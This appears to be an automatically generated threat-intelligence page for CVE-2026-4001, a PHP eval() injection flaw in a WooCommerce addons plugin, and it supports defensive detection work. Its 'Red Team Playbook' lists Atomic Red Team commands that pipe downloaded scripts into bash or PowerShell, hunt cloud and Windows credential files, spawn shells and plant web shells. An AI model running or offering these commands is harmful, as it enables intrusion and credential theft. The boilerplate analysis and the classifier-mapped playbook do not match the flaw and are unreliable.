CVE-2026-4001
Overview
This vulnerability is a remote code execution flaw caused by improper input sanitization in the Woocommerce Custom Product Addons Pro plugin. The root cause lies in the use of PHP's eval() function within the process_custom_formula() method, which processes user-supplied custom pricing formulas without adequately escaping or validating input. Specifically, the sanitize_values() method fails to prevent injection of PHP code through single quotes, affecting the custom pricing formula feature in all versions up to 5.4.1.
Vulnerability Description
The Woocommerce Custom Product Addons Pro plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 5.4.1 via the custom pricing formula eval() in the process_custom_formula() function within includes/process/price.php. This is due to insufficient sanitization and validation of user-submitted field values before passing them to PHP's eval() function. The sanitize_values() method strips HTML tags but does not escape single quotes or prevent PHP code injection. This makes it possible for unauthenticated attackers to execute arbitrary code on the server by submitting a crafted value to a WCPA text field configured with custom pricing formula (pricingType: "custom" with {this.value}).
Impact
An unauthenticated attacker can execute arbitrary PHP code on the affected server by submitting malicious input to a custom pricing formula field, resulting in full compromise of the hosting environment. This can lead to data theft, website defacement, or complete service disruption. The vulnerability is exploitable remotely without any privileges or user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N, with high impact on confidentiality, integrity, and availability (C:H/I:H/A:H).
Solution
Users of Woocommerce Custom Product Addons Pro should upgrade to version 5.4.2 or later, where the vendor has implemented proper input validation and eliminated unsafe use of eval() in the custom pricing formula processing. Detailed patch and update instructions are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/70a2b6ff-defc-4722-9af9-3cae94e98632. No workarounds are recommended by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question is characterized by a critical flaw that allows for unauthorized access and control over affected systems. This type of vulnerability typically arises from improper input validation or insufficient authentication mechanisms, which can lead to severe security breaches. Attackers can exploit this weakness to execute arbitrary code, escalate privileges, or gain access to sensitive information. The high severity rating indicates that the impact of successful exploitation could be catastrophic, potentially compromising the integrity, confidentiality, and availability of the affected systems.
Various attack vectors can be employed to exploit this vulnerability, including remote code execution through network services, phishing attacks, or even local exploitation if an attacker has physical access to the device. For instance, an attacker might craft a malicious payload that, when executed, allows them to take control of the system or access sensitive data. In scenarios where the vulnerability is present in widely used software or hardware, the potential for mass exploitation increases significantly. Attackers could leverage automated tools to scan for vulnerable systems, making it easier to deploy attacks at scale.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on the affected products for critical operations. A successful exploitation could lead to data breaches, financial losses, and reputational damage. For businesses, the consequences extend beyond immediate financial implications; they may face regulatory scrutiny, legal liabilities, and loss of customer trust. The potential for operational disruption is also significant, as organizations may need to halt services to address the vulnerability, resulting in further financial strain and loss of productivity.
To effectively detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular vulnerability assessments and penetration testing can help identify weaknesses before they are exploited by attackers. Additionally, organizations should prioritize patch management, ensuring that all software and systems are up to date with the latest security fixes. Employing intrusion detection systems (IDS) and monitoring network traffic can also aid in the early detection of suspicious activities indicative of exploitation attempts.
Furthermore, educating employees about security best practices is crucial in reducing the risk of exploitation. Training programs that focus on recognizing phishing attempts and understanding the importance of secure password management can significantly enhance an organization's overall security posture. In conjunction with these strategies, establishing a robust incident response plan will ensure that organizations are prepared to respond swiftly and effectively in the event of a security breach, thereby minimizing potential damage and recovery time.
In conclusion, the vulnerability presents a significant threat to organizations that utilize the affected products. Its potential for exploitation through various attack vectors underscores the importance of proactive security measures. By implementing comprehensive detection and mitigation strategies, organizations can safeguard their systems and data against the risks posed by this critical vulnerability.
CSURFACE threat intelligence indicates a modest increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2026-4001, rising by approximately 14%, reflecting a slight uptick in the likelihood of exploitation. Despite this, our telemetry reveals a significant reduction in detection activity related to this vulnerability, suggesting that active exploitation attempts may be waning or shifting tactics. The EPSS score remains low in percentile ranking, indicating that while the vulnerability retains critical severity, it is not currently a primary target for widespread attacks. This divergence between reduced detection signals and a rising EPSS score underscores the importance of continued vigilance, as threat actors may be preparing or testing new vectors that have yet to generate substantial observable activity. Consequently, defenders should maintain awareness of CVE-2026-4001’s risk profile, recognizing that the threat landscape remains dynamic and exploitation potential persists even in the absence of a marked surge in detected incidents.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-35 | Leverage Executable Code in Non-Executable Files |
41%
|
High | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-4001 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/70a2b6ff-defc-4722-9af9-3cae94e98632?source=cve |
| acowebs.com |
GitHub CVE
|
https://acowebs.com/woo-custom-product-addons/ |